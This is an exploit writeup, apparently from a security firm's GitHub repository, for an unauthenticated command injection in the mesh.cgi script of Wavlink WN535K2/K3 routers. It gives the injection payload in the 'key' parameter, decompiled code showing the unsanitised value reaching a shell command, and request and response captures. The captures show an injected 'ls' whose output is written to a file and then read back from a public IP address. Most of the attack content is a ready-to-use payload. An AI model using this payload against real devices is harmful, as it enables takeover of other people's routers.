

🔑 main ▾

...

[webray.com.cn](#) / [Wavlink](#) / **Wavlink mesh.cgi.md**



1angx Add files via upload

🕒 History

👤 1 contributor

☰ 45 lines (22 sloc) | 788 Bytes

...

###Wavlink mesh.cgi command execution

### Exploit Title

Wavlink mesh.cgi command execution

### Exploit Author

[webraybtl@webray.com.cn](mailto:webraybtl@webray.com.cn) inc

### Vulnerability condition

Unlimited front desk

### Vendor Homepage

<https://www.wavlink.com>

### Software Link

[https://www.wavlink.com/zh\\_cn/firmware.html](https://www.wavlink.com/zh_cn/firmware.html)

### Version

WN535K2/K3

## Description

There is a command execution vulnerability in wavlink, through which an attacker can gain server privileges

## Payload used

/cgi-bin/mesh.cgi?page=upgrade&key=';commend;'

## Proof of Concept

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char *v3; // $s1
4     FILE *v4; // $s0
5     const char *v5; // $a3
6     const char *v6; // $s0
7     int v7; // $v0
8     char *v8; // $a0
9     int v10; // $v0
10
11     v3 = getenv("QUERY_STRING");
12     v4 = fopen("/dev/console", "w+");
13     v5 = "main";
14     if ( v4 )
15     {
16         fprintf(v4, "%s:%s:%d:%s\n\n", "mesh.c", "main", 120, v3);
17         fclose(v4);
18     }
19     v6 = (const char *)web_get("page", v3, 0, v5);
20     if ( !strcmp(v6, "extender") )
21     {
22         get_extender_page(v3);
23         v10 = strcmp(v6, "upgrade");
24         v8 = v3;
25         if ( v10 )
26             return 0;
27     }
28     else
29     {
30         v7 = strcmp(v6, "upgrade");
31         v8 = v3;
32         if ( v7 )
33             return 0;
34     }
35     get_upgrade_page(v8);
36     return 0;
37 }
```

```

3
4 memset(v28, 0, sizeof(v28));
5 v29 = 0;
6 memset(v30, 0, sizeof(v30));
7 time(&v32);
8 v4 = (const char *)nvram_bufget(0, "lan_ipaddr");
9 v3 = (const char *)web_get("key", a1, 0, v2);
10 v7 = strdup(v3);
11 v6 = (const char *)web_get("ENC", a1, 0, v5);
12 v10 = strdup(v6);
13 v9 = (const char *)web_get("localIp", a1, 0, v8);
14 v11 = strdup(v9);
15 v12 = fopen("/dev/console", "w+");
16 if ( v12 )
17 {
18     fprintf(v12, "%s:%s:%d:key = %s ENC = %s\n\n", "mesh.c", "get_upgrade_page", 74, v7, v10);
19     fclose(v12);
20 }
21 strcpy((char *)v28, v4);
22 v13 = strcat((char *)v28, v7);
23 v14 = fopen("/dev/console", "w+");
24 if ( v14 )
25 {
26     fprintf(v14, "%s:%s:%d:buf1 = %s\n\n", "mesh.c", "get_upgrade_page", 78, v13);
27     fclose(v14);
28 }
29 sprintf(v30, "echo -n '%s' | md5sum", v13);
30 v15 = fopen(v30, "r");
31 v16 = v15;
32 if ( !v15 )
33 {
34     v27 = fopen("/dev/console", "w+");
35     if ( v27 )
36     {
37         fprintf(v27, "%s:%s:%d:execute md5sum fail!\n", "mesh.c", "get_upgrade_page", 83);

```

The screenshot shows a web browser window with a 'Send' button and a 'Cancel' button. Below the buttons, there are two panels: 'Request' and 'Response'.

**Request:**

- 1 GET /cgi-bin/mesh.cgi?page=upgrade&key=%27;ls>./1.txt;%27 HTTP/1.1
- 2 Host
- 3 User-Agent: a/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
- 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
- 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- 6 Accept-Encoding: gzip, deflate
- 7 Connection: close
- 8 Upgrade-Insecure-Requests: 1

**Response:**

- 1 HTTP/1.1 500 Internal Server Error
- 2 Content-Type: text/html
- 3 Content-Length: 369
- 4 Connection: close
- 5 Date: Wed, 20 Jul 2022 01:53:58 GMT
- 6 Server: lighttpd
- 7
- 8 <?xml version="1.0" encoding="iso-8859-1"?>
- 9 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
- 10 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- 11 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
- 12 <head>
- 13 <title>500 - Internal Server Error</title>
- 14 </head>
- 15 <body>
- 16 <h1>500 - Internal Server Error</h1>
- 17 </body>
- 18 </html>
- 19

SendCancel<>

Target: http://47.36.218.27

Request

RawHeadersHex

1 GET /cgi-bin/1.txt HTTP/1.1  
2 Host: 47.36.218.27  
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
6 Accept-Encoding: gzip, deflate  
7 Connection: close  
8 Upgrade-Insecure-Requests: 1  
9  
10

Response

RawHeadersHexRender

1 HTTP/1.1 200 OK  
2 Content-Type: text/plain  
3 Accept-Ranges: bytes  
4 ETag: "1859656113"  
5 Last-Modified: Wed, 20 Jul 2022 01:53:58 GMT  
6 Content-Length: 246  
7 Connection: close  
8 Date: Wed, 20 Jul 2022 01:54:24 GMT  
9 Server: lighttpd  
10  
11 nas.cgi  
12 login.cgi  
13 upload.cgi  
14 adm.cgi  
15 mesh.cgi  
16 upload\_settings.cgi  
17 ExportLogs.sh  
18 wireless.cgi  
19 firewall.cgi  
20 internet.cgi  
21 touchlist\_sync.cgi  
22 live\_api.cgi  
23 upload\_uboot.cgi  
24 ExportAllSettings.sh  
25 applogin.cgi  
26 makeRequest.cgi  
27 nightled.cgi  
28 ddns.cgi  
29 1.txt  
30